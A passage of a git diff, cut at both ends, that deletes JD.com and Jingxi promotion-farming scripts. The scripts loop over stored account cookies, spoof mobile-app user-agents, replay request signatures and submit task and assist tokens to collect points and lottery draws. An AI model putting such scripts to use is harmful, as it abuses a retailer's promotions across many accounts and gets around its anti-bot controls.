decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - message = '' - $.isLogin = true; - $.index = i + 1; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}助力模块*********\n`); - await control() - await Lottery() - await userScore() -} - -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -function PostRequest(uri,body) { - const url = `https://api.m.jd.com/client.action`; - const method = `POST`; - const headers = {"Accept": "application/json, text/plain, */*", -"Accept-Encoding": "gzip, deflate, br", -"Accept-Language": "zh-cn", -"Connection": "keep-alive", -"Content-Type": "application/x-www-form-urlencoded", -"Cookie": cookie, -"Host": "api.m.jd.com", -"User-Agent": "jdapp;iPhone;10.0.6;14.4;0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849;network/4g;model/iPhone12,1;addressid/2377723269;appBuild/167724;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" -} - return {url: url, method: method, headers: headers, body: body}; -} - -async function doTask(){ - const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1xVyqw%22%2C%22taskToken%22%3A%22${token}%22%2C%22taskId%22%3A${taskid}%2C%22actionType%22%3A1%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - console.log("\n"+result.data.bizMsg+"\n") - await $.wait(8000) - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function DoTask(){ - const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1xVyqw%22%2C%22taskToken%22%3A%22${token}%22%2C%22taskId%22%3A${taskid}%2C%22actionType%22%3A0%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ - console.log(result.data.bizMsg+"获得"+result.data.result.score+";共有"+result.data.result.userScore+"\n") - await $.wait(4000) - }else{ - console.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function Lottery(){ - const body = `functionId=healthyDay_getLotteryResult&body=%7B%22appId%22%3A%221E1xVyqw%22%2C%22taskId%22%3A7%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ - console.log("\n获得"+result.data.result.userAwardsCacheDto.jBeanAwardVo.prizeName+"\n") - await $.wait(4000) - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function getLottery(){ - const body = `functionId=interact_template_getLotteryResult&body=%7B%22appId%22:%221E1xVyqw%22%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0 && result.data.result.lotteryReturnCode == 0){ - console.log("\n获得"+result.data.result.userAwardsCacheDto.jBeanAwardVo.prizeName+"\n") - await $.wait(4000) - }else{ - $.log(result.data.bizMsg+" 恭喜你抽中了0豆豆\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function Ariszy(){ - for(let j = 0; j < listtokenArr.length; j++){ - token = list2tokenArr[j] - taskid = listtokenArr[j].match(/\d+/) - $.log("TaskId:"+taskid) - $.log("Token:"+token) - await doTask() - await DoTask() - } - -} -async function scans(){ - for(let j = 0; j < list0tokenArr.length; j++){ - token = list1tokenArr[j]; - taskid = list0tokenArr[j].match(/\d+/) - $.log("TaskId:"+taskid) - $.log("Token:"+token) - await doTask() - await DoTask() -} -} -async function zy(){ - listtokenArr.splice(0,listtokenArr.length); - list2tokenArr.splice(0,list2tokenArr.length); -} -async function Zy(){ - for(let i = 0; i < 7; i ++){ - await scan() - await scans() - list0tokenArr.splice(0,list0tokenArr.length); - list1tokenArr.splice(0,list1tokenArr.length); - } -} -async function control(){ - for(let i = 0; i < list6tokenArr.distinct().length; i++){ - helpcode = list6tokenArr[i] - await dosupport() - await $.wait(4000) -} -} -async function dosupport(){ - const body = `functionId=harmony_collectScore&body=%7B%22appId%22%3A%221E1xVyqw%22%2C%22taskToken%22%3A%22${helpcode}%22%2C%22taskId%22%3A6%2C%22actionType%22%3A0%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ - console.log(result.data.bizMsg+"获得"+result.data.result.score+";共有"+result.data.result.userScore+"\n") - await $.wait(4000) - }else{ - console.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function getlist(){ - const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1xVyqw","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - console.log("查看任务列表\n") - let list1 = result.data.result.taskVos.find(item => item.taskId == 1) - - listtokenArr.push(1+list1.simpleRecordInfoVo.taskToken) -list2tokenArr.push(list1.simpleRecordInfoVo.taskToken) - - - let list2 = result.data.result.taskVos.find(item => item.taskId == 2) - for(let i = 0; i < list2.shoppingActivityVos.length; i ++){ - listtokenArr.push(2+list2.shoppingActivityVos[i].taskToken) -list2tokenArr.push(list2.shoppingActivityVos[i].taskToken) - - } - - let list3 = result.data.result.taskVos.find(item => item.taskId == 3) - for(let i = 0; i < list3.followShopVo.length; i ++){ - listtokenArr.push(3+list3.followShopVo[i].taskToken) -list2tokenArr.push(list3.followShopVo[i].taskToken) - } - - /*let list4 = result.data.result.taskVos.find(item => item.taskId == 4) - for(let i = 0; i < list4.productInfoVos.length; i ++){ - listtokenArr.push(4+list4.productInfoVos[i].taskToken) -list2tokenArr.push(list4.productInfoVos[i].taskToken) -//$.log(list4.productInfoVos[i].taskToken) - }*/ - - let list5 = result.data.result.taskVos.find(item => item.taskId == 5) - for(let i = 0; i < list5.brandMemberVos.length; i ++){listtokenArr.push(5+list5.brandMemberVos[i].taskToken) -list2tokenArr.push(list5.brandMemberVos[i].taskToken) -//$.log(list5.followShopVo[i].taskToken) - } - - - - //$.log(JSON.stringify(listtokenArr)) - - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function scan(){ - const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1xVyqw","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - -let list4 = result.data.result.taskVos.find(item => item.taskId == 4) - for(let i = 0; i < list4.productInfoVos.length; i ++){ -list0tokenArr.push(4+list4.productInfoVos[i].taskToken) -list1tokenArr.push(list4.productInfoVos[i].taskToken) -} - - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function gethelpcode(){ - const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1xVyqw","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - -let list6 = result.data.result.taskVos.find(item => item.taskId == 6) - list4tokenArr.push(6+list6.assistTaskDetailVo.taskToken) -list6tokenArr.push(list6.assistTaskDetailVo.taskToken) - - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } - -async function userScore(){ - const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1E1xVyqw","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - let userScore = result.data.result.userInfo.userScore - $.log("共有金币:"+userScore+";开始抽奖"+Math.floor(userScore/500)+"次") - for(let i = 0; i < Math.floor(userScore/500); i++){ - await getLottery() - } - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -//showmsg -//boxjs设置tz=1,在12点<=20和23点>=40时间段通知,其余时间打印日志 - -async function showmsg() { - if (tz == 1) { - if ($.isNode()) { - if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { - await notify.sendNotify($.name, message) - } else { - $.log(message) - } - } else { - if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { - $.msg(zhiyi, '', message) - } else { - $.log(message) - } - } - } else { - $.log(message) - } -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, "", "不要在BoxJS手动复制粘贴修改cookie"); - return []; - } - } -} -Array.prototype.distinct = function (){ - var arr = this, - result = [], - len = arr.length; - arr.forEach(function(v, i ,arr){ //这里利用map,filter方法也可以实现 - var bool = arr.indexOf(v,i+1); //从传入参数的下一个索引值开始寻找是否存在重复 - if(bool === -1){ - result.push(v); - } - }) - return result; -}; -function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_kyd.js b/backUp/jd_kyd.js deleted file mode 100644 index 7390691..0000000 --- a/backUp/jd_kyd.js +++ /dev/null @@ -1,583 +0,0 @@ -/* -#柠檬是兄弟就砍我2 -##惊喜欢乐砍 自定义变量 入口惊喜APP我的 惊喜欢乐砍 -export launchid="ba3b268758521b2a48ce7ed61b82ff7a" ##你的邀请码 -export first="false" ##第一次参加变量设置为true查看商品ID 填写商品ID后自动获取邀请码邀请 如果只助力 变量设置为false -export active="" ##商品ID - -[task_local] -#柠檬是兄弟就砍我2 -0 17,21 * * * http://nm66.top/jd_kanjia2.js, tag=柠檬是兄弟就砍我2, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -*/ -const $ = new Env('柠檬是兄弟就砍我2'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = '', - message; -const active = ''; -let first = false; //第一次参加变量设置为true查看商品ID 填写商品ID后自动获取邀请码邀请 如果只助力 变量设置为false -let launchid - -if (process.env.active) { - active = process.env.active; -} - -if (process.env.first) { - first = true; -} - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; - -!(async () => { - // console.debug('正在测试,别着急!!!,可能会在群内抽奖') - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - const link = Math.random() > 0.5 ? 'https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/kyd.json' : 'https://raw.fastgit.org/shufflewzc/updateTeam/main/shareCodes/kyd.json' - launchid = await getAuthorShareCode(link) || [] - if (process.env.launchid) { - launchid = process.env.launchid.split('@'); - } - if (launchid.length == 0 && !first) { - return - } - // console.debug(launchid) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - if (first == true) { - // await info() - // await checkaddress() - // await join() - await test() - await help_all() - } else { - await help_all() - } - } - } -})() -.catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function help_all() { - for (let i = 0; i < launchid.length; i++) { - $.signle_launchid = launchid[i] - // console.debug($.signle_launchid) - await help() - await $.wait(3000) - } -} - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, - "timeout": 10000, - headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - resolve(JSON.parse(data)) - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(); - } - }) - await $.wait(10000) - resolve(); - }) -} - -function info() { - return new Promise(async (resolve) => { - - let options = { - url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_showpage?pageindex=1&pagenum=10&launchid=&_stk=launchid%2Cpageindex%2Cpagenum&_ste=1&h5st=20210611124834764%3B9239928912872162%3B10029%3Btk01wbcaa1c9ba8nd2QzQ1ZoLzNtk5KzYYdDSHRhFzz7%2FRM9cwNQBA92KZHoHeloSktjcQEdy%2FEXtm5u1WsoLf%2F6pNyP%3B05df15c1c37911547393fc59f29a13f564d1f0fb7d7da9d6d0c2b0b6a7c9ffdc&t=1623386914770&_=1623386914770&sceneval=2&g_login_type=1&g_ty=ls`, - //dS%2Bp85VyjydPuAOOnFP%2Faw%3D%3D - // body: `functionId=cutPriceByUser&body={"activityId":"852797097823596544","userName":"","followShop":1,"shopId":52021,"userPic":""}&client=wh5&clientVersion=1.0.0`, - headers: { - "Referer": "https://st.jingxi.com/sns/202103/20/jxhlk/list.html?ptag=7155.9.89", - "Host": "m.jingxi.com", - "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", - "Cookie": cookie, - } - } - - $.get(options, async (err, resp, data) => { - try { - // console.debug(data) - data = data.match(/(\{[^()]+\}.+)/)[1] - - const reust = JSON.parse(data) - //console.log(reust) - if (reust.errcode == 0) { - list = reust.data.discountzone - for (let i = 0; i < list.length; i++) { - $.log(`商品:${list[i].skutitle}\n商品iD:${list[i].active}\n需要邀请:${list[i].needhelpnum}人 免费带回家`) - - } - } else - - console.log(data.msg) - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function test() { - return new Promise(async (resolve) => { - let options = { - url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_myonline?&t=1623387225130&_=1623387225131&sceneval=2&g_login_type=1&g_ty=ls`, - headers: { - "Referer": "https://st.jingxi.com/sns/202103/20/jxhlk/list.html?ptag=7155.9.89", - "Host": "m.jingxi.com", - "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", - "Cookie": cookie, - } - } - $.get(options, async (err, resp, data) => { - try { - data = data.match(/(\{[^()]+\}.+)/)[1] - data = JSON.parse(data) - // console.debug(data) - const temp = data.data.onling - // console.debug(temp) - for (let i = 0; i < temp.length; i++) { - console.debug(temp[i]) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -// function checkaddress() { -// return new Promise(async (resolve) => { - -// let options = { -// url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_checkaddress?active=${active}&addressid=&t=1623387225130&_=1623387225131&sceneval=2&g_login_type=1&g_ty=ls`, -// //dS%2Bp85VyjydPuAOOnFP%2Faw%3D%3D -// // body: `functionId=cutPriceByUser&body={"activityId":"852797097823596544","userName":"","followShop":1,"shopId":52021,"userPic":""}&client=wh5&clientVersion=1.0.0`, -// headers: { -// "Referer": "https://st.jingxi.com/sns/202103/20/jxhlk/list.html?ptag=7155.9.89", -// "Host": "m.jingxi.com", -// "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", -// "Cookie": cookie, -// } -// } - -// $.get(options, async (err, resp, data) => { -// try { - -// data = data.match(/(\{[^()]+\}.+)/)[1] - -// // console.debug(data) -// const reust = JSON.parse(data) -// //console.log(reust) -// if (reust.errcode == 0) { -// //list = reust.data.freezone -// //for (let i = 0; i < list.length; i++) { -// $.provinceid = reust.data.provinceid -// $.cityid = reust.data.cityid -// $.countyid = reust.data.countyid -// $.log(`\n确认收货地址\n商品:${reust.data.skutitle}\n地址:${reust.data.address}`) - -// // } -// } else - -// console.log(data.msg) -// } catch (e) { -// $.logErr(e, resp); -// } finally { -// resolve(); -// } -// }); -// }); -// } - -// function join() { -// return new Promise(async (resolve) => { - -// let options = { -// url: `https://m.jingxi.com/kjactive/jxhlk/jxhlk_launch?active=${active}&provinceid=${$.provinceid}&cityid=${$.cityid}&countyid=${$.countyid}&_stk=active,cityid,countyid,provinceid&_ste=1&h5st=20210611134802301;9239928912872162;10029;tk01wbcaa1c9ba8nd2QzQ1ZoLzNtk5KzYYdDSHRhFzz7/RM9cwNQBA92KZHoHeloSktjcQEdy/EXtm5u1WsoLf/6pNyP;9a5fc97afa527c0cfa083a7d2d948c0308bdb2d78413eb8ea5d17e336af71dc2&t=1623390482324&_=1623390482325&sceneval=2&g_login_type=1&callback=jsonpCBKD&g_ty=ls`, -// //dS%2Bp85VyjydPuAOOnFP%2Faw%3D%3D -// // body: `functionId=cutPriceByUser&body={"activityId":"852797097823596544","userName":"","followShop":1,"shopId":52021,"userPic":""}&client=wh5&clientVersion=1.0.0`, -// headers: { -// "Referer": "https://st.jingxi.com/sns/202103/20/jxhlk/list.html?ptag=7155.9.89", -// "Host": "m.jingxi.com", -// "User-Agent": "jdpingou;iPhone;4.8.0;14.3;9714ccbf07209f246277896ef7c041f3bb571ca3;network/wifi;model/iPhone9,2;appBuild/100540;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/22;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148", -// "Cookie": cookie, 